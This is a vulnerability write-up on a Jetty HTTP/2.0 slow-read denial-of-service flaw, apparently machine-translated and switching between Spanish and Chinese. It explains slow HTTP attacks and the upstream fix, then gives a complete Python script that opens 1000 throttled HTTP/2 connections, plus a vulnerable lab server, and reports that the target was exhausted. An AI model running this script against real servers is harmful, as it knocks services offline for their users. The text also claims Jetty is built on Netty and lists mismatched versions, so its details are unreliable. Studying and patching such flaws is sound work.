Análisis de vulnerabilidad de Jetty HTTP2.0 DoS

Hola, ha pasado mucho tiempo desde que escribí un blog técnico. Recientemente, el autor encontró una escapatoria interesante al usar Jetty y le gustaría compartirla con usted. Si tiene alguna pregunta o error, indíquelo.

fondo

Tanto Tomcat como Jetty son contenedores de Servlet de código abierto que se utilizan ampliamente en proyectos. Este artículo no explicará la diferencia entre Tomcat y Jetty, los estudiantes interesados ​​pueden aprender contenido relacionado por sí mismos.

El equipo de Jetty reveló una vulnerabilidad de nivel medio que puede ser atacada por DoS en problemas de github el año pasado. https://github.com/eclipse/jet…

Aproximadamente, después de que el contenedor Jetty haga referencia al componente del servidor http2 para habilitar la función HTTP2.0, al mismo tiempo, el desarrollador proporciona una interfaz de servicio mediante el protocolo HTTP2.0. Al visitar una URL anormal, el atacante puede agotar los recursos del servidor Jetty al agotar la ventana deslizante de TCP o el control de flujo HTTP2.0, logrando así el efecto del ataque DoS. Oh hoo, ¿no es este ataque HTTP lento? Primero presentemos el ataque lento HTTP, luego analicemos el código fuente de la vulnerabilidad de Jetty y luego realizaremos un experimento para verificar la vulnerabilidad.

Ataque lento HTTP

El ataque lento HTTP es un tipo de ataque DoS de capa de aplicación. Un método de ataque propuesto por el experto en seguridad web RSnake en 2009. Su principio es enviar solicitudes HTTP al servidor a una velocidad muy baja y el servidor tiene un límite en el número de concurrencia. Una vez que estos enlaces maliciosos no se liberan, se crearán nuevos enlaces maliciosos continuamente al mismo tiempo, lo que hará que se agoten los recursos del servidor.

Hay 3 tipos de ataques lentos HTTP

Ataque de cabeza lento

Los ataques de encabezado lento explotan el diseño del encabezado de la solicitud HTTP. Todos sabemos que el encabezado HTTP es información de texto. Cada atributo, como Content-Type: text/plain, está separado por "\r\n". "\r\n\r\n" se empalmará después del último atributo para informar al servidor que se ha transmitido el encabezado de la solicitud, procese mi solicitud. Los atacantes usan este diseño para nunca pasar "\r\n\r\n". Al mismo tiempo, también sabemos que el servidor HTTP no procesará la solicitud sin recibir el encabezado de solicitud completo. En este momento, el servidor tiene que mantener la conexión todo el tiempo. Una vez que haya una gran cantidad de enlaces de este tipo, los recursos del servidor se agotarán. No se pudieron procesar nuevas solicitudes.

Ataque POST lento

El atacante establece Content-Length en un valor alto, pero envía los datos muy lentamente. Esto hará que el servidor mantenga la conexión todo el tiempo, y una gran cantidad de conexiones de este tipo hará que se agoten los recursos del servidor.

Ataque de lectura lenta

Utilizando el mecanismo de ventana deslizante de TCP, el atacante configura el búfer de lectura del núcleo del cliente muy pequeño. Al mismo tiempo, los datos del búfer de lectura del núcleo se copian al búfer de proceso del usuario a una velocidad muy lenta. En este momento, el servidor recibirá el mensaje ZeroWindow enviado por el cliente, lo que hará que el servidor piense que el cliente está demasiado ocupado para procesar el mensaje de respuesta enviado. El servidor tiene que mantener la conexión. La existencia de un gran número de estos enlaces hará que se agoten los recursos del servidor.

Código fuente de vulnerabilidad

Primero, pegue el enlace PR del equipo de Jetty para corregir la vulnerabilidad github.com/eclipse/jet…

imagen.pngEsta vulnerabilidad existe en los métodos OnRequest y OnPush de HttpChannelOverHTTP2.java (OnPush es una función única de inserción del lado del servidor de HTTP2.0). Sigamos viendo qué hace OnBadMessage. ¿Por qué no devolver NULL, sino devolver directamente un objeto Runnable?

imagen.png OnBadMessage是在处理请求时出现异常时,向客户端返回错误信息用的。OnBadMessage与OnRequest是在同一个线程上下文。一旦攻击者使用Slow Read来攻击,就会导致jetty的 worker selector线程被阻塞(jetty底层使用的是netty框架)。所以,为了防止阻塞worker线程,jetty团队直接返回一个Runnable对象将它丢到任务队列中,释放线程来处理新的请求。

实验

目前,大多数的HTTP慢速攻击工具,比如基于C++的slowhttptest都不支持HTTP2.0协议。没关系我们可以手搓一个。

注意!!!目前大多数支持HTTP2.0 协议的Servelt容器都要求配置TLS链接。在TLS握手的ALPN(应用协议协商)阶段,客户端和服务器端会达成使用哪种HTTP协议的约定。虽然HTTP2.0协议没有强制要求必须进行TLS握手,但是,使用Jetty HTTP2.0功能必须配置TLS。

攻击脚本

使用Python搓一个Slow Read攻击脚本, 使用h2 HTTP2.0客户端库

在此声明,工具仅提供研究漏洞使用。用于其他目的造成的影响,后果自负,作者概不负责

import socket
import ssl
import time

import h2.connection
import h2.events

from concurrent.futures import ThreadPoolExecutor


def attack(ip: str, port: int, url: str):
    try:
        # 设置TLS
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        ctx.set_alpn_protocols(['h2'])

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # 将内核读缓冲区设置为128bytes
        s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 128)
        s.settimeout(1200)
        s = ctx.wrap_socket(s, server_hostname=ip)
        s.connect((ip, port))

        # 设置HTTP2.0
        c = h2.connection.H2Connection()
        c.initiate_connection()
        s.sendall(c.data_to_send())
    except Exception as e:
        print(e)
        return

    # HTTP2.0请求头与HTTP/1稍有不同
    headers = [
        (':method', 'GET'),
        (':path', url),
        (':authority', ip),
        (':scheme', 'https'),
        ('keep-alive', 'timeout=5000, max=5000')
    ]

    c.send_headers(1, headers, end_stream=True)
    s.sendall(c.data_to_send())

    resp_stream_end = False
    while not resp_stream_end:
        # 每次只从内核读缓冲区读取1byte
        data = s.recv(1)
        if not data:
            break

        events = c.receive_data(data)

        for event in events:
            if isinstance(event, h2.events.StreamEnded):
                resp_stream_end = True
                break
        # 每读一个字节,线程休眠15s
        time.sleep(15)
    c.close_connection()
    s.sendall(c.data_to_send())
    s.close()


if __name__ == '__main__':
    # 创建1000个发送invalid URL的连接
    with ThreadPoolExecutor(max_workers=1000) as pool:
        for i in range(0, 1000):
            pool.submit(attack, ip, port, invalid_url)

服务器端

服务器端我们使用spring-boot-starter-web,排除Tomcat使用Jetty内嵌式容器。

<dependencies>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
        <version>3.0.4</version>
        <exclusions>
            <exclusion>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-tomcat</artifactId>
            </exclusion>
        </exclusions>
    </dependency>

    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-jetty</artifactId>
        <version>2.6.6</version>
    </dependency>

    <dependency>
        <groupId>org.eclipse.jetty</groupId>
        <artifactId>jetty-alpn-conscrypt-server</artifactId>
        <version>9.4.15.v20190215</version>
    </dependency>
    <dependency>
        <groupId>org.eclipse.jetty.http2</groupId>
        <artifactId>http2-server</artifactId>
        <version>9.4.15.v20190215</version>
    </dependency>
</dependencies>

配置文件中要开启TLS和http2功能

ssl:
  key-store: classpath:cert.jks
  key-password: 123456
http2:
  enabled: true

随意写一个Controller类。

可以看到在没有攻击前,请求是正常的,而且协议使用的是h2, 也就是http2.0 imagen.png

攻击开始

通过wireshake抓包可以看到客户端向服务器端发送ZeroWindow 探针。Slow Read 攻击出现

Captura de pantalla 2023-05-16 052010.jpg

攻击结束后,服务已经无法访问 imagen.png

此时通过lsof命令可以看到,jetty在DoS攻击后未能回收连接资源。文件句柄数为548,已经超过512的限制。已经无法再处理新的请求,只能重启服务。DoS攻击成功。 imagen.png

总结

La versión de Jetty donde apareció la vulnerabilidad fue la 9.4.46 En teoría, las versiones de Jetty anteriores a esta versión pueden estar sujetas a ataques DoS al usar las funciones del protocolo HTTP 2.0. El equipo de Jetty ha corregido la vulnerabilidad. Por lo tanto, si todavía usa una versión anterior de Jetty, se recomienda actualizar.

Supongo que te gusta

Origin juejin.im/post/7233409321340715067
Recomendado
Clasificación